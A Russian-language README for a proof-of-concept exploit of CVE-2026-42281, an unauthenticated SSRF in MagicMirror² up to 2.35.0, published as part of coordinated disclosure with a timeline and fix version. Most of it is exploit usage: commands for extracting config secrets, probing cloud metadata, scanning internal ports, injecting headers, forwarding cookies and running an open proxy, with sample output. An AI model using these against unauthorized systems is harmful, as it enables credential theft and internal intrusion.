
Эксплойт proof-of-concept для CVE-2026-42281 — неаутентифицированный SSRF в MagicMirror² ≤ 2.35.0, позволяющий извлекать конфигурацию, зондировать метаданные облака и сканировать внутреннюю сеть.
/cors
Обнаружено и сообщено: Astaruf
Полный отчёт: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
Официальное уведомление: Бюллетени безопасности MagicMirrorOrg/MagicMirror
Запись в NVD:
В этом репозитории размещён proof-of-concept эксплойт для CVE-2026-42281 — неаутентифицированного SSRF в MagicMirror² ≤ 2.35.0, который превращает endpoint /cors в полнофункциональный SSRF-прокси, достигающий loopback, внутренних сетей и облачных metadata-сервисов. При hideConfigSecrets: true тот же endpoint также позволяет извлечь значения process.env.SECRET_* одним запросом.
Полный обзор кода, анализ уязвимости, разбор исправления, спор о CVSS и хронологию см. в полном отчёте на nstsec.com. Этот README посвящён использованию PoC.
# 1. Проверить, уязвима ли цель
python3 poc.py -t http://target:8080 --check
# 2. Извлечь конфигурацию приложения (с автоматическим поиском секретов)
python3 poc.py -t http://target:8080 --config
# 3. Проверить облачные metadata-сервисы у 10+ провайдеров
python3 poc.py -t http://target:8080 --cloud
# 4. Сканирование портов внутренней сети через SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. Демонстрация злоупотребления входящими/исходящими заголовками
python3 poc.py -t http://target:8080 --headers
# 6. Использование сервера как универсального открытого прокси
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| Флаг | Описание |
|---|---|
--check | Проверка эксплуатируемости SSRF через loopback-запрос к /version |
--config | SSRF /config через loopback, разбор JSON, поиск API-ключей / токенов / паролей в конфигурациях модулей |
--cloud | Проверка metadata-сервисов AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; автоматическое перечисление ролей AWS IAM |
--port-scan HOSTS | Сканирование одного или нескольких хостов (-p 22,80 / -p 0-1024 / -p - для всех 65535 портов), многопоточное |
--headers | Часть A: внедрение заголовков Authorization/X-* в исходящий запрос через sendheaders. Часть B: пересылка управляемого атакующим Set-Cookie из вредоносного источника в браузер жертвы через expectedheaders |
--open-proxy URL | Универсальный SSRF GET к любому URL, вывод тела ответа (полезно для изучения внутренних HTTP API) |
| Параметр | По умолчанию | Описание |
|---|---|---|
-t / --target | обязательно | URL цели, например http://192.168.1.10:8080 |
--timeout | 2.0 | Таймаут на запрос в секундах |
--threads | 30 | Потоки для --port-scan |
--verbose | выкл. | Вывод полных JSON-ответов (и незамаскированных тел облачных metadata) |
1. Баннер PoC и режим --check, подтверждающий SSRF:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — Неаутентифицированный SSRF через endpoint /cors
Автор: Astaruf | https://nstsec.com
CHECK, Доступность цели и подтверждение SSRF
[*] Проверка доступности цели ...
[+] Цель доступна, MagicMirror 2.35.0
[*] Подтверждение SSRF через loopback ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF ПОДТВЕРЖДЁН, сервер получил внутренний ресурс от нашего имени
<< 2.35.0
2. --config извлекает конфигурацию приложения и автоматически находит секреты в конфигурациях модулей:
ИЗВЛЕЧЕНИЕ КОНФИГУРАЦИИ, Полная конфигурация через SSRF loopback
[+] Конфигурация получена, 1194 байт
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] открыт для всех IP
НАЙДЕННЫЕ СЕКРЕТЫ:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers подтверждает исходящее внедрение и входящую пересылку:
ВНЕДРЕНИЕ ЗАГОЛОВКОВ, Злоупотребление входящими и исходящими заголовками
[*] Часть A: внедрение произвольных заголовков в исходящие запросы через sendheaders
[+] Заголовок X-Injected-By: SSRF-PoC подтверждён в исходящем запросе
[+] Заголовок Authorization: Bearer DEMO_TOKEN подтверждён в исходящем запросе
[*] Часть B: пересылка заголовков ответа в браузер через expectedheaders
[+] Заголовок ответа Set-Cookie переслан в браузер: session=hijacked;HttpOnly
[+] Браузер получает этот cookie так, как если бы он исходил с домена MagicMirror
4. --open-proxy подтверждает исходящий HTTP с сервера:
ОТКРЫТЫЙ ПРОКСИ, Получение https://httpbin.org/ip через уязвимый сервер
[+] HTTP 200, получено 32 байт от сервера
{
"origin": "<публичный IP сервера, не атакующего>"
}
--check (как и любой другой режим) отправляет SSRF loopback на http://127.0.0.1:<port>/version. При тестировании через Docker убедитесь, что порт хоста совпадает с портом внутри контейнера (например, пробросьте 8080:8080, а не 8081:8080), иначе loopback-цель не будет разрешена изнутри контейнера, даже если экземпляр действительно уязвим.--cloud против необлачного экземпляра (Raspberry Pi, bare metal) не даёт результатов — это ожидаемо, и скрипт явно сообщает об этом. Вектор существует; для его тестирования требуется реальное облачное развёртывание.Выпущено в MagicMirror² v2.36.0 (релиз от 30 апреля 2026 г.). Исправление реализовано в шести PR (#4084, #4087, #4090, #4091, #4102, #4104). См. полный отчёт с разбивкой по каждому PR, фрагментами кода и матрицей проверки обходных путей, повторно протестированных против пропатченной версии.
| Дата | Событие |
|---|---|
| 2026-03-30 | Уязвимость обнаружена, открыт публичный issue, отправлено письмо мейнтейнеру |
| 2026-03-31 | Мейнтейнер подтвердил получение отчёта |
| 2026-04-01 | Мейнтейнеры добавили SECURITY.md и включили GitHub Security Advisories в репозитории |
| 2026-04-09 | Открыто официальное уведомление GHSA |
| 2026-04-26 | Исправление подтверждено для следующего релиза. CVE-2026-42281 присвоен GitHub |
| 2026-04-26 | Спор о CVSS — вектор повышен с Moderate до 9.2 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | Выпущен MagicMirror² v2.36.0, исправление опубликовано публично |
| 2026-05-04 | Публичное раскрытие (отчёт + репозиторий PoC) |
Данный материал предоставлен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против экземпляров MagicMirror², которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование.